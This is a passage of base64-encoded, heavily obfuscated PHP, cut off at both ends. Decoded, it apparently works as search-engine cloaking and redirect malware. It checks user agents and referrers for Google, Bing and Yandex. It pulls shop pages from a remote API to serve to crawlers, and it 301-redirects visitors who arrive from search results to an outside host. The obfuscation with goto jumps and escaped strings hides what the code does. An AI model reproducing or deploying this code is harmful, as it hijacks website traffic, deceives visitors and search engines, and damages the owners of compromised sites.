iXHgyZlx4NjFceDcwXDE1MVw1N1x4NmVceDZmXHg3NFwxNDdcMTQyXHg3OSI7IGNvbnN0IHVfS29GID0gIlw1N1x4NjFcMTYwXHg2OVw1N1x4NmNceDY5XDE1Nlx4NmJceDJmXDE0M1x4NjFcMTQzXHg2OFwxNDUiOyBjb25zdCBRNXMyUiA9ICJcNTdcMTQxXDE2MFx4NjlcNTdceDY4XHg2Zlx4NzRceDJmXHg2N1wxNDVceDc0XHg1ZlwxNTFcMTU2XDE0NFx4NjVcMTcwIjsgY29uc3QgaHNoelkgPSAiXHgyZlx4NjFcMTYwXHg2OVx4MmZcMTUwXHg2ZlwxNjRceDJmXHg2N1x4NjVcMTY0XHg1ZlwxNTRcMTUxXDE2M1x4NzQiOyBjb25zdCBvTVVqdiA9ICJcNTdceDYxXDE2MFwxNTFcNTdceDY4XHg2ZlwxNjRcNTdceDY3XDE0NVx4NzRceDVmXHg2NFx4NjVcMTY0XDE0MVwxNTFceDZjIjsgY29uc3QgQXZ5ME4gPSAiXHg2OFx4NjVcMTQxXHg2Y1wxNjRceDY4XHg2M1wxNTBceDY1XDE0M1wxNTMiOyBjb25zdCBJOHhaTSA9ICJcMTM3XDE0M1wxNDFcMTQzXHg2OFx4NjVcMTM3IjsgY29uc3QgeW1RQzcgPSAiXHg2M1x4NmZcMTU0XDE1NFx4NjVcMTQzXHg3NFwxNTFcMTU3XDE1NiI7IGNvbnN0IE1uSTBIID0gIlx4NjRcMTQ1XHg3NFx4NjFceDY5XDE1NCI7IGNvbnN0IFRrMGpUID0gIlwxNjBcMTYyXHg2Zlx4NjRceDc1XDE0M1x4NzRceDVmXDE1MVwxNDQiOyBjb25zdCBHM1NOcCA9ICJceDYzXDE0MVx4NzRcMTQ1XHg2N1x4NmZcMTYyXDE3MVwxMzdcMTUxXDE0NCI7IGNvbnN0IEdWQkgwID0gIlx4NjVcMTQyXHg2MVx4NzkiOyBjb25zdCBRMm4yVyA9ICJcMTQxXDE1NVwxNDFcMTcyXHg2Zlx4NmUiOyBjb25zdCBrdkpucyA9ICJcMTQyXDE2Mlx4NjFcMTU2XDE0NFwxNDFcMTYwXDE1MSI7IGNvbnN0IEU0R1c3ID0gIlx4NjhceDZmXHg3NFwxNjRceDZmXDE2MFwxNTFceDYzXDE2MyI7IGNvbnN0IGJ6bDBIID0gIlx4NDJceDY1XDE2M1wxNjRcNDBcMTIzXHg2OFwxNTdcMTYwIjsgY29uc3QgSzNyVUsgPSAiXHg1NFwxMTRcMTAzIjsgY29uc3QgejF4anIgPSAiXHg1Mlx4NGJceDU3IjsgY29uc3QgU1lvM1AgPSAiXHg0Y1wxMTFceDUzXDEyNCI7IGNvbnN0IGxGcmNjID0gIlx4NTNcMTI1XHg0MiI7IGNvbnN0IE5HRUg4ID0gIlx4NDRceDQ1XHg1NFx4NDFceDQ5XHg0YyI7IGNvbnN0IEFCWUpEID0gIlwxNDNceDY4XHg2OVwxNTRcMTQ0XDEzN1wxNDNceDYxXDE0M1x4NjhceDY1IjsgY29uc3QgZV9sUmsgPSAxOyBjb25zdCBRcWIyWiA9IDEyOyBjb25zdCBPN3VYOCA9IDk7IGNvbnN0IERGOUg1ID0gMTU7IGNvbnN0IEtvMWhoID0gODggLyAxMDA7IGNvbnN0IFh4SHFsID0gNjAgLyAxMDA7IGNvbnN0IHBLRUVyID0gODsgY29uc3Qga3F3QUMgPSAxOyBjb25zdCBBZ19xeSA9IDEwOyBjb25zdCB4b3dtVCA9IDg2NDAwOyBwcml2YXRlICRwZVEzRzsgcHJpdmF0ZSAkTWpGZ0k7IHByaXZhdGUgJEswNTRZOyBwcml2YXRlICR5N2RsVjsgcHJpdmF0ZSAkVExlWV87IHByaXZhdGUgJGNrU1pNOyBwcml2YXRlICRjdUF1MzsgcHJpdmF0ZSAkWDNFT2s7IHB1YmxpYyBmdW5jdGlvbiBpbml0KCkgeyBnb3RvIFdLdUhfOyBscXgyQzogJHRoaXMtPmN1QXUzID0gJFlRdGQ1WyJceDZlXHg2N1wxNTFcMTU2XDE3MCJdOyBnb3RvIGdUdjNWOyBvR1lFbzogTHo2ZUs6IGdvdG8gbjNTc3U7IFFIeENnOiBpZiAoJHRoaXMtPmN1QXUzIHx8IHN0cmlwb3MoJF9TRVJWRVJbIlx4NTNceDQ1XDEyMlx4NTZceDQ1XDEyMlx4NWZcMTIzXHg0ZlwxMDZceDU0XHg1N1wxMDFcMTIyXHg0NSJdLCAiXHg2ZVwxNDdcMTUxXDE1NlwxNzAiKSAhPT0gZmFsc2UpIHsgZ290byB1cV9vdTsgfSBnb3RvIFZIQ2JROyBKcG80aTogZm9yZWFjaCAoJF9HRVQgYXMgJERldnlTID0+ICRNNl9KeCkgeyAkWjN0NW8gPSAkWjN0NW8gLiAiXDQ2eyREZXZ5U31ceDNkeyRNNl9KeH0iOyBGRjZ2WDogfSBnb3RvIGF5UlJKOyBlRzdCODogJHNTMndUID0gcHJlZ19yZXBsYWNlKCJceDJmXHg3NVwxNjJceDZjXHg1Y1w1MFx4MjJcMTM0XHgyZlx4MjhcMTY3XDE2MFx4MmRcMTQzXHg2ZlwxNTZceDc0XHg2NVx4NmVceDc0XDE3NFx4NzdcMTYwXDU1XDE1MVx4NmVceDYzXDE1NFwxNjVceDY0XHg2NVwxNjNcNTFcMTM0XHgyZlw1MFwxMzNcMTM2XDQyXDEzNVx4MmFcNTFceDIyXHg1Y1w1MVw1NyIsICJceDc1XHg3Mlx4NmNcNTB7JHRoaXMtPlVJd1FXKCl9XHgzZlx4NzRcNzVceDczXHg3NFwxNDFceDc0XHg2OVx4NjNcNDZceDcwXDc1XHgyNFw2MVx4MjZcMTQ1XDc1XHgyNFx4MzJceDI5IiwgJHNTMndUKTsgZ290byBHUk5COTsgZzVqSVk6IGh0dHBfcmVzcG9uc2VfY29kZSgyMDApOyBnb3RvIEpaZ044OyBmaWw3UDogJHRoaXMtPlRMZVlfID0gJFlRdGQ1WyJceDYxXHg3MFwxNTFcMTM3XHg3M1x4NzJceDYzIl07IGdvdG8gWV9VT087IGJGV0dmOiAkdGhpcy0+U2J0OVMoKTsgZ290byBnNWpJWTsgT1JnOTE6IHhPN1ZQOiBnb3RvIFVtaVV3OyBDY2JKODogaGVhZGVyKCJceDQ4XDEyNFx4NTRceDUwXHgyZlx4MzFceDJlXDYxXHgyMFx4MzNceDMwXHgzMVw0MFx4NGRcMTU3XDE2Nlx4NjVceDY0XHgyMFwxMjBceDY1XDE2Mlx4NmRceDYxXHg2ZVwxNDVcMTU2XHg3NFwxNTRceDc5Iik7IGdvdG8geXZiTE07IFNyZjRjOiBpZiAoISRmNVBGMSkgeyBnb3RvIFF1YXJuOyB9IGdvdG8geVRpamQ7IFdQWWRCOiBKVnROVDogZ290byBqSzB6dDsgenMzSGM6IHoyQjhJOiBnb3RvIE8yOEVJOyB1cXdvSjogc3RsZVE6IGdvdG8gUmgwZXg7IGx3dm9EOiBleGl0OyBnb3RvIE93MmkxOyBQeXFOdDogaWYgKCEoc3Vic3RyKCR0aGlzLT5LMDU0WSwgMCwgJGc4V0VKKSA9PT0gIlx4NzdceDc3XDE2N1w1NiIpKSB7IGdvdG8gSlZ0TlQ7IH0gZ290byBXWlRFSDsgS0x1T2c6IEhKZlBwOiBnb3RvIG1HT2ltOyBZX1VPTzogJHRoaXMtPmNrU1pNID0gJFlRdGQ1WyJcMTQxXDE2MFx4NjlcMTM3XDE0NVx4NzhceDc0XHg3Mlx4NjEiXTsgZ290byBscXgyQzsgUGk5Q0Y6ICRZUXRkNSA9IGpzb25fZGVjb2RlKCRBWWFKRSwgdHJ1ZSk7IGdvdG8gbHpScFo7IEpaZ044OiBleGl0OyBnb3RvIGpfelhTOyB1VHFTSjogYm5uT1g6IGdvdG8gQjJEemY7IGxpcG00OiBsc2pBRTogZ290byBSdlJQazsgeVRpamQ6ICR2c0IwVCA9IHBhcnNlX3VybCgkZjVQRjEpOyBnb3RvIFd3MHJwOyBweDdGYzogZ290byB6MHdXMDsgZ290byBMOWdabjsgc3hLakE6IGlmICgkX0dFVFsiXDE1MCJdID09IHNlbGY6Okk4eFpNICYmICRfU0VSVkVSWyJcMTIyXDEwNVwxMjFceDU1XHg0NVx4NTNceDU0XHg1ZlwxMTVceDQ1XHg1NFwxMTBcMTE3XHg0NCJdID09PSAiXDEyMFwxMTdceDUzXDEyNCIpIHsgZ290byBSYTltRDsgfSBnb3RvIENjYko4OyBWSENiUTogJHNTMndUID0gcHJlZ19yZXBsYWNlKCJcNTdcMTY1XDE2MlwxNTRcMTM0XDUwXHgyMlw1MFx4NWJcMTM2XDQyXDEzNVx4MmFcNTFcNDJceDVjXDUxXHgyZiIsICJcMTY1XDE2MlwxNTRceDI4eyR0aGlzLT5VSXdRVygpfVw0NFw2MVw1MSIsICRzUzJ3VCk7IGdvdG8gcHg3RmM7IEw5Z1puOiB1cV9vdTogZ290byBlRzdCODsgUmZFRmU6ICRvR0Y4NCA9ICRfR0VUWyJcMTY0Il07IGdvdG8gZGQzdWo7IGlKb0pROiBoR0hUQzogZ290byBPNU9HZzsgV0t1SF86ICRBWWFKRSA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRElSX18gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gIlx4NjNceDZmXDE1Nlx4NjZcMTUxXHg2N1x4MmVcMTUyXHg3M1wxNTdcMTU2Iik7IGdvdG8gUGk5Q0Y7IGIwRW16OiBpZiAoISgkc1Myd1QgIT0gZmFsc2UpKSB7IGdvdG8gejN5dFA7IH0gZ290byBZMU1MWTsgQjJEemY6IGdvdG8gaEdIVEM7IGdvdG8gS0x1T2c7IE9POUM0OiBiOVlzMTogZ290byB0TUZhajsgcHFPOWM6IGlmICghKCFlbXB0eSgkX0dFVCkgJiYgaXNfYXJyYXkoJF9HRVQpKSkgeyBnb3RvIHhPN1ZQOyB9IGdvdG8gSnBvNGk7IE93MmkxOiBnb3RvIHE0U2EzOyBnb3RvIFVXV1U0OyBaUFdiVTogaWYgKCRfR0VUWyJceDY4Il0gPT0gc2VsZjo6QXZ5ME4gJiYgJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVceDQ1XHg1M1x4NTRcMTM3XDExNVx4NDVceDU0XDExMFx4NGZcMTA0Il0gPT09ICJcMTA3XHg0NVwxMjQiKSB7IGdvdG8gRWFNeDM7IH0gZ290byBzeEtqQTsgWnRWXzA6IGh0dHBfcmVzcG9uc2VfY29kZSgyMDQpOyBnb3RvIERUaV96OyB5dmJMTTogaGVhZGVyKCJcMTE0XDE1N1x4NjNceDYxXHg3NFwxNTFceDZmXDE1Nlw3Mlw0MFw1N1x4MzRcNjBcNjQiKTsgZ290byBsd3ZvRDsgZGwzZkk6ICR0aGlzLT5wZVEzRyA9ICJceDY4XDE2NFwxNjRcMTYwXHg3M1x4M2FceDJmXDU3eyRZUXRkNVsiXHg2MVx4NzBceDY5XDEzN1wxNjVceDcyXDE1NCJdfSI7IGdvdG8gQ1BGTFU7IGx6UnBaOiAkdGhpcy0+TWpGZ0kgPSAkWVF0ZDVbIlwxNDFcMTYwXDE2MFx4NWZcMTUxXDE0NCJdOyBnb3RvIGZpbDdQOyBTNXJjUzogaWYgKCFlbXB0eSgkVzVCVE0pICYmIHByZWdfbWF0Y2goIlx4MmZcNTBcMTQ3XHg2ZlwxNTdceDY3XDE1NFx4NjVceDdjXHg2Mlx4NjlceDZlXDE0N1x4N2NcMTcxXHg2MVwxNTZceDY0XHg2NVx4NzhcNTFcNTdceDY5IiwgJFc1QlRNKSkgeyBnb3RvIEhKZlBwOyB9IGdvdG8gWlBXYlU7IGF5UlJKOiBNZURDUTogZ290byBPUmc5MTsgZEUwUjQ6ICRwcExMMiA9ICJcMTUwXHg3NFx4NzRceDcwXDE2M1w3Mlx4MmZceDJmeyRZUXRkNVsiXHg2MVx4NzBcMTUxXHg1Zlx4NzVceDcyXDE1NCJdfVx4MmZ7JF9HRVRbIlwxNjAiXX1ceDJmeyRfR0VUWyJcMTQ1Il19IjsgZ290byBBNDRQVDsgV1pURUg6ICR0aGlzLT5LMDU0WSA9IHN0cl9yZXBsYWNlKCJcMTY3XHg3N1x4NzdceDJlIiwgJycsICR0aGlzLT5LMDU0WSk7IGdvdG8gV1BZZEI7IHRNRmFqOiBleGl0OyBnb3RvIHpzM0hjOyBrQ3IycTogUXVhcm46IGdvdG8gUmZFRmU7IGRkM3VqOiBpZiAoISgkb0dGODQgPT0gIlx4NzNceDc0XDE0MVwxNjRcMTUxXDE0MyIpKSB7IGdvdG8gbEc2V2k7IH0gZ290byBkRTBSNDsgc3l0cGg6ICR5TllBdSA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXDEzN1x4NTVcMTIzXDEwNVwxMjJcMTM3XDEwMVwxMDdceDQ1XHg0ZVx4NTQiXTsgZ290byBLZU9VRjsgRFRpX3o6IGV4aXQ7IGdvdG8gdVRxU0o7IEE0NFBUOiAkc1Myd1QgPSAkdGhpcy0+TmRhYWsoJHBwTEwyKTsgZ290byBiMEVtejsgWTFNTFk6IGlmICghKHN0cnBvcygkX0dFVFsiXHg2NSJdLCAiXDE2MFx4NmNcMTY1XDE0N1wxNTFcMTU2XHg3M1x4MmVceDYzXHg3M1wxNjMiKSA9PSB0cnVlKSkgeyBnb3RvIGxzakFFOyB9IGdvdG8gUUh4Q2c7IE81T0dnOiBnb3RvIHoyQjhJOyBnb3RvIHVxd29KOyBNeEpzRDogZXhpdDsgZ290byBpSm9KUTsgSzVJWVc6IHozeXRQOiBnb3RvIE1aeVdfOyBPZUpyaTogJHRoaXMtPkswNTRZID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBcMTM3XDExMFwxMTdcMTIzXHg1NCJdID86ICRfU0VSVkVSWyJcMTIzXHg0NVwxMjJceDU2XDEwNVwxMjJcMTM3XDExNlx4NDFcMTE1XHg0NSJdOyBnb3RvIFB5cU50OyBVV1dVNDogUmE5bUQ6IGdvdG8gYkZXR2Y7IG1HT2ltOiAkWjN0NW8gPSAkdGhpcy0+cGVRM0cgLiBzZWxmOjpOckwzaSAuICJcNzdceDYxXHgzZCIgLiB1cmxlbmNvZGUoJHRoaXMtPk1qRmdJKSAuICJcNDZcMTYyXDc1IiAuIHVybGVuY29kZSgkVzVCVE0pIC4gIlx4MjZcMTQ0XDc1IiAuIHVybGVuY29kZSgkdGhpcy0+eTdkbFYpIC4gIlx4MjZcMTUzXHgzZCIgLiB1cmxlbmNvZGUoJHRoaXMtPkswNTRZKTsgZ290byBwcU85YzsgZ1R2M1Y6ICR0aGlzLT55N2RsViA9ICRZUXRkNVsiXDE0NFx4NmZcMTU1XDE0MVwxNTFceDZlXHg1ZlwxNTFcMTQ0Il07IGdvdG8gbzdHTnY7IFZsNmo5OiBnb3RvIGJubk9YOyBnb3RvIGdmR0wwOyBqX3pYUzogcTRTYTM6IGdvdG8gVmw2ajk7IFVDbDNlOiBsRzZXaTogZ290byBzeXRwaDsgbzdHTnY6ICR0aGlzLT5YM0VPayA9IGZhbHNlOyBnb3RvIGRsM2ZJOyBLZU9VRjogaWYgKHByZWdfbWF0Y2goIlw1N1x4MjhceDY3XDE1N1x4NmZceDY3XDE1NFx4NjVceDdjXDE0Mlx4NjlcMTU2XHg2N1wxNzRceDc5XHg2MVx4NmVceDY0XHg2NVx4NzhcNTFcNTdcMTUxIiwgJHlOWUF1KSkgeyBnb3RvIHN0bGVROyB9IGdvdG8gUzVyY1M7IFd3MHJwOiAkVzVCVE0gPSAkdnNCMFRbIlwxNTBcMTU3XDE2M1wxNjQiXTsgZ290byBrQ3IycTsgSDdCMWs6IGhlYWRlcigiXHg0Y1x4NmZceDYzXDE0MVwxNjRcMTUxXDE1N1x4NmVceDNhXHgyMHskWjN0NW99Iik7IGdvdG8gTXhKc0Q7IENQRkxVOiBpZiAoIShzdWJzdHIoJHRoaXMtPnBlUTNHLCAtMSkgPT0gIlw1NyIpKSB7IGdvdG8gTHo2ZUs7IH0gZ290byBaOG55dTsgakswenQ6ICRmNVBGMSA9ICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXDEzN1x4NTJceDQ1XDEwNlwxMDVceDUyXHg0NVx4NTIiXTsgZ290byBTcmY0YzsgWjhueXU6ICR0aGlzLT5wZVEzRyA9IHJ0cmltKCR0aGlzLT5wZVEzRywgIlw1NyIpOyBnb3RvIG9HWUVvOyBNWnlXXzogZXhpdDsgZ290byBVQ2wzZTsgVW1pVXc6IGhlYWRlcigiXDExMFwxMjRceDU0XDEyMFw1N1w2MVw1Nlw2MVx4MjBceDMzXDYwXHgzMVw0MFwxMTVceDZmXHg3NlwxNDVceDY0XHgyMFx4NTBceDY1XHg3MlwxNTVcMTQxXDE1NlwxNDVceDZlXHg3NFwxNTRcMTcxIik7IGdvdG8gSDdCMWs7IHk3V2pNOiBOT2trcjogZ290byBPTzlDNDsgUnZSUGs6IGVjaG8gJHNTMndUOyBnb3RvIEs1SVlXOyBuM1NzdTogJGc4V0VKID0gc3RybGVuKCJceDc3XDE2N1wxNjdceDJlIik7IGdvdG8gT2VKcmk7IFJoMGV4OiBzd2l0Y2ggKCRvR0Y4NCkgeyBjYXNlIHNlbGY6OnltUUM3OiBlY2hvICR0aGlzLT5iU1B1MCgpOyBnb3RvIGI5WXMxOyBjYXNlIHNlbGY6Ok1uSTBIOiBlY2hvICR0aGlzLT5GTHRETSgpOyBnb3RvIGI5WXMxOyBkZWZhdWx0OiBlY2hvICR0aGlzLT52NmJJZSgpOyB9IGdvdG8geTdXak07IGdmR0wwOiBFYU14MzogZ290byBadFZfMDsgR1JOQjk6IHowd1cwOiBnb3RvIGxpcG00OyBPMjhFSTogfSBwdWJsaWMgZnVuY3Rpb24gU0J0OXMoKSB7IGdvdG8gdktpeXE7IGt6Z0phOiAkdGhpcy0+RzVhNDEoc2VsZjo6bEZyY2MsIGpzb25fZW5jb2RlKCRaS2VBRyksIFskYmxUMXpbIlwxNDNceDYxXDE2NFx4NjVcMTQ3XDE1N1x4NzJceDc5XDEzN1x4NjlcMTQ0Il1dKTsgZ290byBjaE1sUTsgY2hNbFE6IGZvcmVhY2ggKCRncXhmNSBhcyAkYWRhVmcpIHsgZ290byBnWmFWTjsgZ1phVk46ICRWRlBYbyA9ICR0aGlzLT5aVnpBdCgkYWRhVmdbIlx4NjlceDY0Il0sIHNlbGY6OnBLRUVyKTsgZ290byB4RWVTNjsgV3ZjTzQ6IHpBRTFDOiBnb3RvIEp2THJJOyB4RWVTNjogJHRoaXMtPkc1YTQxKHNlbGY6Ok5HRUg4LCBqc29uX2VuY29kZSgkVkZQWG8pLCBbJGFkYVZnWyJceDY5XHg2NCJdXSk7IGdvdG8gV3ZjTzQ7IEp2THJJOiB9IGdvdG8geFFtY0k7IEVrYmQwOiAkTjJaMzIgPSAkdGhpcy0+SllHS2soKTsgZ290byBLVU5QSzsgYUIyZ0s6ICRncXhmNSA9ICR0aGlzLT5sbWV1MigkYmxUMXpbIlwxNDNcMTQxXDE2NFx4NjVcMTQ3XDE1N1wxNjJcMTcxXDEzN1x4NjlcMTQ0Il0sIHNlbGY6Omtxd0FDLCBzZWxmOjpBZ19xeSk7IGdvdG8geDJsMDE7IHgybDAxOiAkdGhpcy0+RzVBNDEoc2VsZjo6U1lvM1AsIGpzb25fZW5jb2RlKCRncXhmNSksIFskYmxUMXpbIlwxNDNcMTQxXDE2NFwxNDVcMTQ3XHg2Zlx4NzJcMTcxXHg1Zlx4NjlceDY0Il0sIHNlbGY6Omtxd0FDLCBzZWxmOjpBZ19xeV0pOyBnb3RvIG5teklzOyBubXpJczogJFpLZUFHID0gJHRoaXMtPkw0YzQwKCRibFQxelsiXHg2M1wxNDFceDc0XDE0NVx4NjdcMTU3XHg3MlwxNzFceDVmXDE1MVx4NjQiXSk7IGdvdG8ga3pnSmE7IFloTlNJOiBmb3JlYWNoICgkTjJaMzIgYXMgJFY2czZUKSB7IGdvdG8gcHUweHU7IEt6U1cyOiBFRFRIaTogZ290byBpa051ajsgTjBTYW86ICR0aGlzLT5HNWE0MShzZWxmOjpsRnJjYywganNvbl9lbmNvZGUoJFpLZUFHKSwgWyRWNnM2VFsiXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXHg3MlwxNzFceDVmXHg2OVwxNDQiXV0pOyBnb3RvIEt6U1cyOyBUYlRyYjogJFpLZUFHID0gJHRoaXMtPmw0QzQwKCRWNnM2VFsiXHg2M1x4NjFceDc0XHg2NVwxNDdcMTU3XHg3Mlx4NzlcMTM3XDE1MVwxNDQiXSk7IGdvdG8gTjBTYW87IHB1MHh1OiAkcnI5TEsgPSAkdGhpcy0+TE1ldTIoJFY2czZUWyJcMTQzXDE0MVwxNjRcMTQ1XDE0N1x4NmZceDcyXHg3OVx4NWZceDY5XHg2NCJdLCBzZWxmOjprcXdBQywgc2VsZjo6QWdfcXkpOyBnb3RvIFZyY3FqOyBWcmNxajogJHRoaXMtPkc1QTQxKHNlbGY6OlNZbzNQLCBqc29uX2VuY29kZSgkcnI5TEspLCBbJFY2czZUWyJceDYzXDE0MVx4NzRcMTQ1XDE0N1x4NmZceDcyXHg3OVwxMzdcMTUxXHg2NCJdLCBzZWxmOjprcXdBQywgc2VsZjo6QWdfcXldKTsgZ290byBUYlRyYjsgaWtOdWo6IH0gZ290byBlRnd1WjsgeFFtY0k6IEpBa1BJOiBnb3RvIFloTlNJOyBRRUFtcTogJHRoaXMtPkRXS3BKKCcnKTsgZ290byBFa2JkMDsgZUZ3dVo6IGZZTTNKOiBnb3RvIHJ4TzJhOyB2S2l5cTogJHNTMndUID0gJHRoaXMtPlFYYXN5KCR0aGlzLT5wZVEzRyAuIHNlbGY6OnVfS29GLCBhcnJheSgiXDE2M1wxNDNcMTUwXDE0NVwxNTVcMTQ1IiA9PiBpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMjMiXSkgJiYgJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTIzIl0gPT09ICJceDZmXHg2ZSIgPyAiXDE1MFx4NzRcMTY0XDE2MFx4NzMiIDogIlwxNTBceDc0XDE2NFwxNjAiLCAiXDE2MFwxNDFceDcyXHg2NVx4NmVcMTY0XDEzN1x4NjlceDY0IiA9PiAkdGhpcy0+eTdkbFYsICJceDY0XDE1N1x4NmRceDYxXDE1MVx4NmUiID0+ICR0aGlzLT5LMDU0WSwgIlx4NzBcMTQxXHg3NFwxNTAiID0+ICR0aGlzLT5jdUF1MyA/ICR0aGlzLT51SXdRdygpIDogInskdGhpcy0+VUlXcXcoKX1ceDJmIiwgIlx4NjFcMTYwXDE2MFx4NWZceDY5XDE0NCIgPT4gJHRoaXMtPk1qRmdJLCAiXHg2MVx4NzBcMTUxXHg1ZlwxNjNceDcyXDE0MyIgPT4gJHRoaXMtPlRMZVlfLCAiXDE0MVx4NzBcMTUxXHg1ZlwxNDVcMTcwXHg3NFx4NzJceDYxIiA9PiAkdGhpcy0+Y2tTWk0sICJcMTUxXHg3M1x4NWZceDZlXHg2N1x4NjlceDZlXDE3MCIgPT4gJHRoaXMtPmN1QXUzKSwgW10sICJceDUwXDExN1x4NTNceDU0Iik7IGdvdG8gYUVfOXc7IE5BY1pkOiBlY2hvICRXSXJUM1siXDE0NFx4NjFcMTY0XDE0MSJdWyJcMTQ1XHg3MlwxNjJceDZkXHg3M1wxNDciXTsgZ290byBKZk9FazsgcnhPMmE6IGVjaG8gIlx4NGZceDRiIjsgZ290byBNbzFoNzsga21vZmo6IGlmICghKCRXSXJUM1siXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczXHg1Zlx4NjNcMTU3XDE0NFwxNDUiXSA9PSAyMDApKSB7IGdvdG8gSGlQeGE7IH0gZ290byBRRUFtcTsgTW8xaDc6IGRpZTsgZ290byBDZGFOcjsgS1VOUEs6ICRibFQxeiA9IGFycmF5X3NoaWZ0KCROMlozMik7IGdvdG8gYUIyZ0s7IEpmT0VrOiBkaWU7IGdvdG8gUWNScXY7IGFFXzl3OiAkV0lyVDMgPSBqc29uX2RlY29kZSgkc1Myd1RbIlx4NjRcMTQxXDE2NFx4NjEiXSwgdHJ1ZSk7IGdvdG8ga21vZmo7IGlDamdaOiBodHRwX3Jlc3BvbnNlX2NvZGUoJFdJclQzWyJcMTYzXHg3NFwxNDFcMTY0XDE2NVwxNjNcMTM3XDE0M1x4NmZceDY0XDE0NSJdKTsgZ290byBOQWNaZDsgQ2RhTnI6IEhpUHhhOiBnb3RvIGlDamdaOyBRY1JxdjogfSBwdWJsaWMgZnVuY3Rpb24gWXdUX0koJE4yWjMyLCAkUm9fZlEpIHsgZ290byBBdUtfTTsgcGtUeU86ICRWVlJXNCA9ICR0aGlzLT5VSVdRdygpOyBnb3RvIHVGU3VGOyBJTndIWDogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKCJcNTdcMTM0XHgyZlwxNjdceDcwXDU1XDE0M1x4NmZcMTU2XDE2NFwxNDVcMTU2XDE2NFwxMzRceDJmXHgyOFx4MmVcNTJceDI5XDU3IiwgInskVlZSVzR9XHgzZlwxNjRceDNkXDE2M1x4NzRceDYxXHg3NFwxNTFceDYzXDQ2XHg3MFx4M2RcMTY3XHg3MFw1NVx4NjNcMTU3XHg2ZVwxNjRceDY1XHg2ZVx4NzRcNDZceDY1XDc1XHgyNFx4MzEiLCAkUm9fZlEpOyBnb3RvIG1YVXRxOyBoS0lLTjogZ290byBCZXQxTTsgZ290byBwcXREeTsgbkk3NTg6ICRiZXZqUyA9ICJcNzRceDczXHg3MFwxNDFceDZlXHgyMFx4NjNcMTU0XHg2MVx4NzNcMTYzXDc1XHgyMlx4NjZcMTU3XHg2ZlwxNjRcMTQ1XDE2Mlw1NVx4NjNceDZmXDE2MFwxNzFcMTYyXDE1MVx4NjdceDY4XHg3NFx4MjJceDNlXHg0M1wxNTdceDcwXDE3MVx4NzJcMTUxXHg2N1x4NjhceDc0XHhjMlx4YTlceDIwIiAuIGRhdGUoIlx4NTkiKSAuICJcNDBceDNjXDE0MVx4MjBceDczXDE2NFwxNzFcMTU0XDE0NVw3NVx4MjJcMTQzXDE1N1x4NmNceDZmXDE2Mlw3Mlw0MFx4MjNcNjBcNjBceDM3XHg2Mlx4NjZcMTQ2XHgyMlw0MFx4NjhcMTYyXDE0NVwxNDZcNzVceDIyIiAuICRWVlJXNCAuICJceDIyXHgzZSIgLiAkdGhpcy0+SzA1NFkgLiAiXHgzY1w1N1x4NjFcNzZcNDBceDQxXHg2Y1wxNTRceDIwXHg1Mlx4NjlcMTQ3XDE1MFwxNjRceDczXHgyMFwxMjJcMTQ1XDE2M1x4NjVcMTYyXHg3NlwxNDVcMTQ0XDc0XDU3XDE2M1wxNjBcMTQxXDE1Nlw3NiI7IGdvdG8gZEx0czc7IEFsSHFBOiBCZXQxTTogZ290byBuSTc1ODsgSUlkR006ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXDU3XDEzNFx4MmZcMTQzXHg2Zlx4NmNceDZjXDE0NVx4NjNceDc0XHg2OVx4NmZceDZlXDEzNFw1N1x4MjhcNzdcNzJcMTMzXHg1ZVx4NWZceDVkXDUyXDUxXDEzN1w1MFx4NWJcMTM2XHgyZVwxMzRcNTdceDVkXHgyYlw1MVwxMzRcNTZceDY4XHg3NFx4NmRcMTU0XHgyZiIsICJ7JFZWUlc0fVw3N1wxNjRcNzVcMTQzXHg2Zlx4NmNceDZjXHg2NVx4NjNcMTY0XDE1MVx4NmZceDZlXHgyNlwxNTFcNzVcNDRceDMxIiwgJFJvX2ZRKTsgZ290byBOazBMYjsgUzdZQm06ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4N2JceDdiXHg3MFx4NzJceDZmXHg2NFx4NzVceDYzXDE2NFwxMzdcMTQzXHg2MVx4NzRceDY1XHg2N1wxNTdcMTYyXDE3MVwxMzdcMTU1XHg2Zlx4NjJceDY5XDE1NFwxNDVcMTc1XHg3ZFx4MmYiLCAkQWJMNlosICRSb19mUSk7IGdvdG8gdXVaTVk7IENwTVJoOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlw1N1wxMzRceDJmXHg2NFwxNDVcMTY0XDE0MVx4NjlcMTU0XDEzNFx4MmZceDI4XHgzZlw3Mlx4NWJceDVlXDEzN1wxMzVceDJiXDUxXDEzN1x4MjhcMTMzXHg1ZVx4NWNcNTdceDJlXDEzNVw1M1w1MVwxMzRcNTZcMTUwXDE2NFx4NmRcMTU0XDU3IiwgInskVlZSVzR9XHgzZlx4NzRcNzVcMTQ0XHg2NVwxNjRcMTQxXDE1MVx4NmNceDI2XDE1MVx4M2RceDI0XDYxIiwgJFJvX2ZRKTsgZ290byBJSWRHTTsgQzBSdVg6IHJldHVybiAkUm9fZlE7IGdvdG8gdmE4dVE7IHV1Wk1ZOiAkUm9fZlEgPSBwcmVnX3JlcGxhY2UoIlw1N1x4N2JcMTczXHg3MFwxNjJceDY1XHg2Nlx4NjlceDc4XDE3NVwxNzVcNTciLCAkdGhpcy0+VUl3cXcoKSwgJFJvX2ZRKTsgZ290byBwa1R5TzsgbGlHd1M6ICRSb19mUSA9IHByZWdfcmVwbGFjZSgiXDU3XDUwXDE2M1wxNjJcMTQzXDc1XDE3NFwxNTBceDcyXDE0NVwxNDZceDNkXDUxXDUwXDEzM1w0N1x4MjJceDVkXHgyOVx4MjhcMTM0XDU3XHgyZVx4MmFceDNmXDUxXDEzNFw2Mlw1NyIsICJceDI0XDYxXHgyMiIgLiAkVlZSVzQgLiAiXHgyNFw2M1x4MjIiLCAkUm9fZlEpOyBnb3RvIGhLSUtOOyBJQXk5UzogJFJvX2ZRID0gcHJlZ19yZXBsYWNlKC